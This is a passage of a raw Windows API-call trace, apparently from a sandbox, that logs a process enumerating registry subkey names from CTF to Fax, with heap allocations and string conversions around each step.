Flags=0x8, Size=0x40) returned 0x1dc120 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.017] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x1db930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x1dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.017] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x1db930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x1dc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.017] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.017] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x1db930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0164.017] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x1db930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x1dc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x1db930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x1dc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x1db930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x1dc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.018] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x1db930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0164.018] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.019] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x1dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0164.019] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x1db930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0164.019] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.019] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x1dc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0164.019] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x1db930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0164.019] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.019] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0164.019] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x1db930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0164.019] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.019] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x1dc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0164.019] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.019] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x1db930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x1dc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x1db930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x1dc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x1db930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x1dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x1db930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x1dc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.020] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.020] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x1db930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0164.020] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x1dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0164.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x1db930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0164.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x1dc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0164.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x1db930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0164.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x1dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0164.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x1db930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0164.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0164.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x1dc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0164.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.021] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.021] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x1db930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x1db930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x1dc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.022] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.022] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x1db930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0164.022] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, 